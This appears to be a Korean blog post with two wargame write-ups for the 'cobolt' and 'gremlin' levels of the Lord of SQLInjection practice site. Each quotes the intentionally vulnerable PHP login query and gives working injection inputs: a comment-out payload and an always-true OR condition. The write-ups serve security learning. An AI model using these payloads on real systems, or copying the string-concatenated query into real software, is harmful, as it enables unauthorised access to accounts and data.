728x90
반응형
728x90
반응형
728x90
반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  highlight_file(__FILE__); 
?>
cs

 

if($result['id'== 'admin') solve("cobolt");

 

일단 id는 admin

 

 

 

pw는 md5()해쉬값이다.

 

pw를 true로 만들어주기 위해서 1') or '1'='1을 입력해주었다.

 

그러면 query : select id from prob_cobolt where id='admin' and pw=md5('1') or '1'='1')

이렇게 되면서 뒤에 )가 남게 된다. 그래서 뒤에도 md5를 붙여주었다.

 

 

 

 

 

그러면 쿼리는 맞는데 id가 rubiya로 나오면서 풀리지 않는다.

query : select id from prob_cobolt where id='admin' and pw=md5('1') or md5('1')=md5('1')

Hello rubiya
You are not admin :(

 

 

그래서 그냥 pw부분을 주석처리 했다.

 

id=admin%27--%20

 

풀린다.

 

 

728x90
반응형
728x90
반응형

LORD OF SQLINJECTION

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

gremlin

 

1
2
3
4
5
6
7
8
9
10
11
12
13
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
cs

 

if($result['id']) solve("gremlin");

 

id만 찾아내면 문제가 풀린다.

 

id를 admin으로 두고, pw을 무조건 참이되도록 pw='1' or '1'='1'로 만들면 된다.

 

 

쿼리에 아래와 같이 입력하면 된다.

id=admin&pw=1' or '1'='1

728x90
반응형

+ Recent posts